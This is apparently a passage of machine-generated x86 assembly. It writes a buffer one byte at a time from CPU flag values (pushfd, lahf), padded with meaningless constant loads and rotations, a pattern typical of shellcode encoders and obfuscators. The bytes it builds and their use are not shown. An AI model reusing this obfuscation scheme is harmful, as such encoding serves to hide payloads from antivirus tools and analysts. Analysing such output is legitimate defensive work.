inc edi
mov eax, 0x9c293f13
mov ecx, 0xe5b0d72e
rol eax, cl
mov ecx, 0x9a223ff2
mov eax, 0x2cb3fd8e
sub ecx, eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x1d2106ee
rol eax, 1
mov ecx, 0x4f59f1ac
inc ecx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0xebf6c1aa
mov ecx, 0x90918447
ror ebx, cl
mov eax, 0x83ce450f
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x38e28660
dec ecx
mov edx, 0xe44895f3
mov ecx, 0xceebf046
ror edx, cl
lahf
mov byte [edi], ah
inc edi
mov edx, 0xbbf01dcf
mov ecx, 0x1c336162
rol edx, cl
mov eax, 0x9c4f0610
dec eax
mov ebx, 0xae6b96e4
mov ecx, 0xafbaf61f
rol ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x41d18bfe
mov ecx, 0x78f87c3b
sar edx, cl
mov ecx, 0xbaff8c55
sub ecx, 0x80cc3fb4
mov edx, 0x1dc78d41
rol edx, 1
mov ebx, 0x2e845199
rol ebx, 1
mov ebx, 0x178f0e14
mov ecx, 0x36eef45c
ror ebx, cl
mov ebx, 0x8a294f50
mov edx, 0x81ae9419
cmp ebx, edx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x1886c194
aas
mov eax, 0x4c559af0
mov ecx, 0xcb0ce2c4
rol eax, cl
mov ebx, 0x3e37c7d6
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x6f0eca6b
mov ecx, 0x5109bcea
rol eax, cl
mov ebx, 0xeab390a7
mov ecx, 0x90223884
sal ebx, cl
mov ecx, 0x41072f7b
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xd9ce682d
mov ecx, 0xb0ef1736
cmp eax, ecx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ecx, 0xcc89da42
neg ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xd86fe37f
inc ebx
mov ebx, 0x5981f86a
rol ebx, 1
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x2c6b55c2
add edx, 0xb3c832f7
mov eax, 0x33e0104f
aaa
mov ebx, 0xbf5d8c73
mov ecx, 0x85346701
sar ebx, cl
mov ebx, 0x2ed76940
dec ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x21cf8fcc
mov ecx, 0x22efba1
ror edx, cl
mov ebx, 0x1cbfb3df
inc ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x542427e4
mov ecx, 0xfb8dc5b2
cmp eax, ecx
mov eax, 0xe7350c5a
mov ecx, 0x856ca9df
rol eax, cl
mov ebx, 0x86228846
mov ecx, 0xc7ed07fd
ror ebx, cl
mov ebx, 0xbb885d90
dec ebx
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x24e23a80
aaa
mov ebx, 0xca5c2d83
mov ecx, 0xf0cfb0b4
ror ebx, cl
mov eax, 0x581db9bf
aaa
mov edx, 0xb9f2cdbf
mov ebx, 0x18434876
cmp edx, ebx
mov edx, 0x48443937
mov ecx, 0x9557bfc1
shl edx, cl
mov edx, 0x5772e1a0
sub edx, 0x27c38016
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0xe889863
sar edx, 0x2b
mov ecx, 0xc6f78753
inc ecx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0xf301488e
mov ecx, 0x70e85fa8
sal edx, cl
mov ecx, 0xe0dff5b0
dec ecx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x9e71e439
inc ecx
mov edx, 0xb0ad5878
rol edx, 1
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ecx, 0x3abf80f0
dec ecx
mov ebx, 0xd3530eb8
mov ecx, 0x3742565b
rol ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x3a84a4a0
sar ebx, 0xc9
mov edx, 0x538f721b
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x7dd9c8e8
sal ebx, 1
mov ecx, 0xe3b220e0
dec ecx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0xdf27eb59
sal eax, 1
mov edx, 0xb258f1b0
dec edx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x66b3752b
mov ecx, 0x7c22af38
rol ebx, cl
mov eax, 0x292ab730
sar eax, 0x9b
mov edx, 0xb382dd70
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x43e8044c
mov eax, 0xca017e99
cmp ecx, eax
mov eax, 0xefdf606f
aaa
mov ebx, 0x1130762f
inc ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xfcec2e64
mov ecx, 0x139f2d08
rol ebx, cl
mov ebx, 0xd7972582
mov ecx, 0x5216131d
rol ebx, cl
mov ecx, 0x9afa1c0f
inc ecx
mov eax, 0xcfb497cf
mov ecx, 0xd4871632
rol eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xcd7f9257
mov ecx, 0x4e9ee586
rol ebx, cl
mov eax, 0xed773e13
rol eax, 1
mov eax, 0x1e5a5710
dec eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0x28bdf277
mov ecx, 0x38142e75
rol eax, cl
mov ecx, 0x2285304
add ecx, 0x4b41644d
lahf
mov byte [edi], ah
inc edi
mov eax, 0x2e82e4b5
mov ecx, 0x55cd0196
ror eax, cl
mov ebx, 0x229f5f8a
mov ecx, 0x443e52a6
sal ebx, cl
mov ecx, 0x606d34e1
dec ecx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xe13cf61c
rol eax, 1
mov ecx, 0x48910c30
dec ecx
mov edx, 0xf893e55a
mov ecx, 0xa98247c5
ror edx, cl
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0xe7bf731b
mov ecx, 0x69de0f3d
ror eax, cl
mov edx, 0x6e51c929
mov ecx, 0x8778689d
rol edx, cl
mov edx, 0x3eafae64
rol edx, 1
mov ecx, 0x16cb5040
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x2f3e6e47
dec eax
mov eax, 0x14a3903
mov ecx, 0x16b5f750
rol eax, cl
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x676d6779
rol edx, 1
mov eax, 0x7023858f
cmp eax, 0x9920304f
mov eax, 0x274cdf65
aas
mov edx, 0x6c386e63
inc edx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x5368baa6
sal ebx, 1
mov ecx, 0x80677da5
dec ecx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xc5c58a44
rol eax, 1
mov edx, 0xe87d8e52
rol edx, 1
mov ecx, 0x62d2145f
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xb232e3b0
dec ebx
mov ebx, 0xbf7e46b3
mov ecx, 0xdd396838
ror ebx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x47bbf4b4
shl ebx, 1
mov ebx, 0xa4970e55
dec ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x8eeecaf9
rol edx, 1
mov ebx, 0xc05277a7
cmp ebx, 0xf23a072
mov eax, 0xba956f48
aaa
mov ebx, 0x7f385936
inc ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x3e3ff9c0
neg ebx
mov eax, 0x23f89c9a
aaa
mov ecx, 0xfbe715f
inc ecx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x9cdaa9e8
mov ecx, 0xa68592c3
rol ebx, cl
mov edx, 0x903abbcf
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x3fde5300
mov eax, 0x5bf2e45
add ecx, eax
mov eax, 0x6cb65c6e
aas
mov edx, 0x92382135
add edx, 0x8211c5ac
lahf
mov byte [edi], ah
inc edi
mov edx, 0x7b861893
shl edx, 0xe1
mov ebx, 0x75e79aa3
rol ebx, 1
mov ebx, 0xfe1e4f0
dec ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x7b894ac0
dec edx
mov ebx, 0xe1a73934
mov ecx, 0xfa666d27
rol ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xcc2582f2
shl edx, 0x65
mov eax, 0xbb61cd2d
cmp eax, 0x8686d996
mov eax, 0x5c3fc6bd
aaa
mov edx, 0xba066a7
mov ecx, 0xe359386a
cmp edx, ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x54c90afe
dec ecx
mov ebx, 0xe30b6a0b
mov ecx, 0x52da0986
ror ebx, cl
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x6332d5cc
mov ecx, 0xaf3d204b
rol ebx, cl
mov edx, 0x962ca099
mov ecx, 0x49dfc3b6
rol edx, cl
mov ebx, 0x52e6725
inc ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov ecx, 0xa2c7d875
add ecx, 0x20f46e99
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0xaf24b740
mov edx, 0xba8d55bf
cmp ebx, edx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xaec695c0
add edx, 0xee87eb6e
lahf
mov byte [edi], ah
inc edi
mov ecx, 0xb34cfccc
neg ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xeb3f1425
mov ecx, 0x4b5e50e7
sal eax, cl
mov edx, 0x3377450
dec edx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x61c573de
mov ecx, 0x103ca451
rol ebx, cl
mov eax, 0xf428203c
dec eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0x1fc3674f
rol eax, 1
mov edx, 0x3aca8ee4
mov ecx, 0x46352674
ror edx, cl
mov edx, 0x6917b19f
inc edx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xbb91567f
inc ebx
mov edx, 0xd39300b6
mov ecx, 0x1082a80c
ror edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xaff55e75
sar edx, 0x78
mov ebx, 0x62a90500
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xcdb6ff13
shl eax, 0xa3
mov ebx, 0x964cca34
mov edx, 0x5695a8f7
sub ebx, edx
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0x3d6f9d14
mov ecx, 0x2a7cbf30
cmp eax, ecx
mov eax, 0x9681b413
aaa
mov eax, 0x94b9501b
dec eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ecx, 0x1e29c86e
mov eax, 0x85aea0c9
cmp ecx, eax
mov eax, 0x6961bffa
aas
mov ecx, 0x53409990
dec ecx
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x58174a2a
mov ebx, 0xb40473a8
sub edx, ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ecx, 0x82011160
neg ecx
mov eax, 0xd93203da
aas
mov ecx, 0xb756843f
inc ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ecx, 0x98b6a60d
mov edx, 0xa9b72b15
sub ecx, edx
mov ecx, 0x67522f70
cmp ecx, 0x2a232dc3
lahf
mov byte [edi], ah
inc edi
mov ecx, 0xba9b6231
neg ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x97e00287
sub edx, 0x1a99bb42
mov edx, 0x1432d514
add edx, 0x5832860
mov eax, 0x2d3327df
sub eax, 0xf8f0e23d
mov ebx, 0x450af0f5
rol ebx, 1
mov edx, 0x711237df
inc edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x6e55166d
mov ecx, 0x350c0b59
ror eax, cl
mov ebx, 0xf2f77dd
cmp ebx, 0xf93c1119
mov ecx, 0x14cdc3bc
mov edx, 0x8182c8f9
sub ecx, edx
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0xdf0b9990
rol edx, 1
mov eax, 0xd494c2d5
dec eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x85dfff6a
mov ecx, 0x2c7e9a89
ror ebx, cl
mov eax, 0x1b713cde
mov ecx, 0x3518c5f2
ror eax, cl
mov edx, 0x34732997
mov ecx, 0xe8e2035f
ror edx, cl
mov edx, 0xebf958d6
mov ecx, 0x52c058d1
ror edx, cl
mov eax, 0x9f6d41a9
mov ecx, 0x47a29f1a
add eax, ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x28e525a0
dec ecx
mov eax, 0x6e61a5af
rol eax, 1
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x452233e5
mov ecx, 0x22ed7df4
rol edx, cl
mov eax, 0x66f6c3d2
shl eax, 1
mov eax, 0x9ffbfb30
dec eax
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x3ea93d12
sub ebx, 0x5c2eef92
mov eax, 0xd3a47ec
aaa
mov ecx, 0x8b167f21
add ecx, 0x1c9782ad
mov eax, 0xeb33729c
aaa
mov eax, 0x173889ff
inc eax
lahf
mov al, ah
stosb byte es:[edi], al
mov ecx, 0x2349985b
mov ebx, 0x744e7704
add ecx, ebx
mov eax, 0x13273ff0
dec eax
mov edx, 0x96585a83
mov ecx, 0xbf3bf2fc
ror edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x5b18fc63
add eax, 0x4971489f
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x59f96db6
mov ecx, 0xb8c02cf1
rol eax, cl
mov eax, 0x3ebbfe0c
mov ecx, 0xf4aa405
rol eax, cl
mov ebx, 0x54cd190
dec ebx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x9f4e1fdf
mov ecx, 0x1a497a4c
rol eax, cl
mov ebx, 0x453f9565
add ebx, 0xde0c04f1
mov edx, 0xefefc424
mov ecx, 0x2afc06af
sub edx, ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0xa03d07dc
inc ecx
mov eax, 0xb2df5d97
rol eax, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xd3c4124f
mov ecx, 0x1ed7bdff
rol ebx, cl
mov ebx, 0x6830d658
inc ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x7f925d9c
shl eax, 1
mov eax, 0x38a29199
aaa
mov eax, 0x4259392
rol eax, 1
mov eax, 0x4a200c90
sal eax, 1
mov ebx, 0x36224916
shl ebx, 1
mov eax, 0xdd664896
add eax, 0x88a70295
mov edx, 0xf54e3f39
cmp edx, 0x666f1cbf
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x95b9e9c0
inc eax
mov edx, 0x42f18912
rol edx, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x32ae358e
mov ecx, 0x5f2909d5
rol eax, cl
mov eax, 0x89c8242f
inc eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xc9e089eb
mov ecx, 0xebe3fbae
ror ebx, cl
mov eax, 0xf45bce1b
mov ecx, 0x976a2691
ror eax, cl
mov edx, 0xb60dba8e
mov ecx, 0x68a43d48
ror edx, cl
mov eax, 0xa00e120c
inc eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0x28be1be7
sar edx, 0x5f
mov edx, 0x12caf669
inc edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x4e300510
mov ecx, 0x8f73145c
ror eax, cl
mov ecx, 0x61505ed3
mov ebx, 0xff495b86
sub ecx, ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xd85f162d
mov ecx, 0x42ace1ec
sub eax, ecx
mov eax, 0xd9f127e2
aas
mov edx, 0x74573384
dec edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0xdcc896e2
mov ecx, 0x596b412c
rol eax, cl
mov ebx, 0x7ce02f56
inc ebx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x735bb03a
mov ecx, 0xb26a222e
rol ebx, cl
mov eax, 0x216f732
mov ecx, 0xab316102
shl eax, cl
mov eax, 0x3deed15f
dec eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0x6e3cab5d
sal edx, 0xe1
mov edx, 0x7d7236e4
inc edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x4ced0c64
cmp eax, 0x27228273
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x4b5d47ff
inc ebx
mov edx, 0x40597eea
mov ecx, 0xbca05645
rol edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xdf649443
mov ecx, 0x94f73093
ror edx, cl
mov eax, 0xfd837210
dec eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x99fb153a
mov ecx, 0xcf8ac852
rol eax, cl
mov eax, 0x4d73787c
mov ecx, 0xc5e282b5
ror eax, cl
mov eax, 0xf8922f0
dec eax
mov eax, 0xc7cb97a1
rol eax, 1
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x129f2a8b
sal eax, 1
mov ecx, 0x39bbe998
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x90f0cd15
mov ecx, 0x25338f76
rol eax, cl
mov ebx, 0x82c87ecd
mov eax, 0xcf618a09
add ebx, eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0x715b4b8b
dec ebx
mov edx, 0xc8374a05
rol edx, 1
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x872fb1bf
mov ecx, 0x210e5117
rol ebx, cl
mov ebx, 0x401a7ca8
dec ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0x416c7bdf
mov ecx, 0xf335c985
cmp eax, ecx
mov edx, 0x1863caa3
mov eax, 0xbc60f871
sub edx, eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0xe8d3a2e
shl edx, 0xe3
mov eax, 0x2eafb809
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xb09b3918
mov ecx, 0x9caae756
rol eax, cl
mov edx, 0xe449c5dd
mov ecx, 0xba509452
ror edx, cl
mov edx, 0xe96ed323
mov ecx, 0xb8e93568
ror edx, cl
mov ecx, 0x1a301a90
dec ecx
mov edx, 0xa95c5414
mov ecx, 0xebcf0b91
ror edx, cl
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xaa818ff5
rol ebx, 1
mov edx, 0xcb031edf
mov ecx, 0x7fb21949
rol edx, cl
mov ecx, 0x530a407d
dec ecx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x402d621e
rol ebx, 1
mov ebx, 0x92babf98
rol ebx, 1
mov eax, 0x6ed31287
sal eax, 1
mov edx, 0x252f0450
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xb679d795
sar edx, 0x7a
mov eax, 0x61eda1a6
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x239c1dbe
inc edx
mov eax, 0x4a342551
rol eax, 1
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x550bf785
mov ecx, 0xbfe89530
add edx, ecx
mov eax, 0xa08a2e8b
aaa
mov eax, 0x2ee556ed
mov ecx, 0x5ddccb94
rol eax, cl
mov ebx, 0x8c7433ec
rol ebx, 1
mov edx, 0xb60fceed
sal edx, 1
mov eax, 0x67ef17df
inc eax
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0xad87c98
mov ecx, 0x9e319b1a
sub edx, ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x1d8ff48b
mov ecx, 0x94ee79d3
rol ebx, cl
mov ebx, 0x8eb47fcc
inc ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x54580c1b
add edx, 0xe9b10f65
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x71cc51bf
inc ebx
mov ebx, 0x14913596
mov ecx, 0xdeb89057
rol ebx, cl
lahf
mov byte [edi], ah
inc edi
mov eax, 0xe5fca2e8
sub eax, 0xe4853024
mov ebx, 0x37883e7
rol ebx, 1
mov ebx, 0x6ed929cc
mov ecx, 0x9520fcb1
rol ebx, cl
mov eax, 0x404f2737
mov ecx, 0x8aae1863
rol eax, cl
mov edx, 0x62ce8261
sal edx, 1
mov ebx, 0xe6307acf
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xc71df216
rol ebx, 1
mov ebx, 0x7cea757f
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x222495ab
aaa
mov eax, 0x8545c333
mov ecx, 0x91bcbffe
ror eax, cl
mov eax, 0xda81301
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x371115b5
sub ecx, 0xd0765d15
mov eax, 0x7e026e06
aaa
mov ecx, 0xcb5a0971
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x89bdea76
mov ecx, 0x7d148d41
ror edx, cl
mov ebx, 0x505f3da6
mov ecx, 0x90fe6183
ror ebx, cl
mov ebx, 0xc1d687a6
shl ebx, 0xd7
mov eax, 0x8e29a915
dec eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0x4c86c3d1
mov ecx, 0xd961401f
rol edx, cl
mov ebx, 0x5399e751
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xc3a42e56
mov ecx, 0x750d1f65
cmp edx, ecx
mov edx, 0x56f4081c
mov ecx, 0x8e1d4b47
sub edx, ecx
mov eax, 0x3c875ac3
dec eax
mov eax, 0xdcd9ac9a
mov ecx, 0xfb20951c
ror eax, cl
lahf
mov byte [edi], ah
inc edi
mov edx, 0xe38ef3b
mov ecx, 0xaa9beb49
ror edx, cl
mov eax, 0x5f5fc053
dec eax
mov edx, 0x927b8678
mov ecx, 0x5a0aed63
ror edx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xd15e36cc
shl ebx, 0x65
mov edx, 0xd29c57ad
mov ecx, 0xf20f5f1c
rol edx, cl
mov ebx, 0x6df5c0ca
rol ebx, 1
mov edx, 0x5d43fbaa
rol edx, 1
mov ebx, 0xbff18b6c
sub ebx, 0x57d6252f
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0xcdcced9
inc ecx
mov ebx, 0x87616d5c
mov ecx, 0x1ac81558
ror ebx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x49a4b4d3
mov ecx, 0x4037f7f1
ror edx, cl
mov ecx, 0x5c10dbcd
inc ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ecx, 0x181aa4e7
dec ecx
mov ebx, 0x63d4d46e
rol ebx, 1
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x121f3617
rol edx, 1
mov ebx, 0x45b1555c
inc ebx
mov eax, 0x4ba537aa
mov ecx, 0xf59c5654
ror eax, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov ecx, 0x5c341bb0
add ecx, 0x4a5d0a67
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0xff3229cc
cmp eax, 0x148354b6
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x41d73278
mov ecx, 0xfd56c0b8
ror eax, cl
mov eax, 0xbeb5b313
sal eax, 1
mov eax, 0xe867d7c9
mov edx, 0x86144c71
cmp eax, edx
mov eax, 0x51fe664b
aas
mov ecx, 0x83ac76cf
inc ecx
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x1662e311
mov ecx, 0x712d8a93
rol eax, cl
mov edx, 0x36ae06ee
inc edx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0xde614914
rol edx, 1
mov ebx, 0xf899cf41
mov ecx, 0x2de03544
ror ebx, cl
mov eax, 0x5421a780
mov ecx, 0x1046ddcc
sub eax, ecx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0xe81b96c4
cmp ecx, 0x3db89071
mov edx, 0xdff49766
mov ecx, 0xfdc7d6f6
ror edx, cl
mov edx, 0x760050c
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x7dab37bc
rol edx, 1
mov eax, 0x4852ff81
mov ecx, 0x74ddf71e
ror eax, cl
mov ebx, 0x7fe5239b
mov ecx, 0x52dc19b5
ror ebx, cl
mov ecx, 0x35613d89
inc ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0xe0e0b6be
rol edx, 1
mov ebx, 0x675be1b0
mov ecx, 0xf66a40b3
rol ebx, cl
mov ebx, 0x1e375c84
inc ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x4d1e92eb
dec ebx
mov edx, 0x671b474a
mov ecx, 0x1d2a05fb
rol edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x39ce4393
sal eax, 1
mov ebx, 0x1fd719e0
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x25a9a9b4
inc ebx
mov eax, 0x73657a00
mov ecx, 0xe45cd28f
rol eax, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x62f4d102
mov ecx, 0xacc7fd92
ror edx, cl
mov ebx, 0x26db56ca
inc ebx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x7b90b6c3
mov eax, 0xac898241
add edx, eax
mov eax, 0x3b9ad500
aaa
mov ebx, 0xa3f27002
dec ebx
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0xbf4ac02e
mov ecx, 0xcb5c0fc
shl eax, cl
mov ebx, 0xa69b4bef
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x2501d348
rol eax, 1
mov eax, 0x3fb6a85f
sub eax, 0xc4b732bb
mov ecx, 0x8077a9a0
dec ecx
mov eax, 0xab50a4e1
mov ecx, 0xad135e92
rol eax, cl
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0x582946cc
cmp edx, 0x37ae0094
lahf
mov byte [edi], ah
inc edi
mov edx, 0x3ce3ce1b
sub edx, 0x46e0c8b8
mov eax, 0xf10c7f0a
aas
mov ebx, 0x887e7fb7
mov ecx, 0x2a39a13a
rol ebx, cl
mov ecx, 0x20607e02
add ecx, 0x3919b705
mov eax, 0xf251731b
aas
mov ebx, 0x84a187b2
mov ecx, 0xc508ebfe
rol ebx, cl
mov edx, 0x26d97aa6
rol edx, 1
mov eax, 0xa49bc26a
mov ecx, 0xe0aaa3a7
rol eax, cl
mov eax, 0xc13310f
mov ecx, 0xdb028b37
rol eax, cl
mov ecx, 0x41960762
mov eax, 0xd117e4d5
cmp ecx, eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x86a09ee9
add eax, 0x42599033
mov eax, 0x6e2a4183
aas
mov ecx, 0x42f604c2
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x412c5afa
sal eax, 1
mov eax, 0x7019b59f
dec eax
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x42eeddc0
mov ecx, 0x338f3155
add edx, ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x34522d70
mov ecx, 0x90ddf505
rol ebx, cl
mov ecx, 0x5dd9b9cf
dec ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x2876a24c
rol ebx, 1
mov edx, 0x6b13e967
inc edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0xa35a0158
mov ecx, 0xb7059a6d
ror ebx, cl
mov ecx, 0x43b2fa88
inc ecx
mov ebx, 0x72aca2a2
rol ebx, 1
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x11473ff0
neg ecx
mov eax, 0x7ae39792
aaa
mov eax, 0xda37b6f9
inc eax
lahf
mov byte [edi], ah
inc edi
mov ecx, 0xab3beb7c
sub ecx, 0x1258aae3
mov edx, 0x6ae73ddc
rol edx, 1
mov edx, 0x71308cad
mov eax, 0x1a97976
add edx, eax
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x2e44d479
mov ecx, 0x5357b4e3
shl eax, cl
mov ebx, 0x38ae6926
dec ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0xb0741426
mov ecx, 0xc047cf89
rol eax, cl
mov eax, 0x19e37898
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x68e6d4ee
sub ebx, 0xee27d55c
lahf
mov byte [edi], ah
inc edi
mov edx, 0xf8ca74cb
mov ecx, 0x3c35e44c
ror edx, cl
mov ebx, 0x3ae9ce1d
dec ebx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x14880496
rol eax, 1
mov ebx, 0xcad73f4d
mov ecx, 0xa56d6bb
rol ebx, cl
mov ebx, 0x7f8917af
inc ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xb23135d5
sal eax, 0xc2
mov ebx, 0x1edd9ee1
dec ebx
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x4c95b9ce
mov ecx, 0xa44c88d5
ror edx, cl
mov ebx, 0x794d0d0c
inc ebx
mov edx, 0x5d495234
rol edx, 1
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0x16551e6d
mov ecx, 0x7d0c4a6e
rol edx, cl
mov eax, 0x5d463daa
mov ecx, 0xb5212fe3
ror eax, cl
mov eax, 0xd2c45623
mov ecx, 0xb9d762b7
ror eax, cl
mov eax, 0xc7024649
mov ecx, 0x4d1db4
ror eax, cl
mov eax, 0xd9d19591
mov ecx, 0x70f897fe
ror eax, cl
mov ecx, 0x45c28e1f
inc ecx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x8286a6c
mov ecx, 0x964b397b
ror ebx, cl
mov ebx, 0x7ed4e08d
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xd46ce9d9
mov ecx, 0x991f1f73
rol eax, cl
mov ecx, 0x6d96ceff
inc ecx
pushfd
pop eax
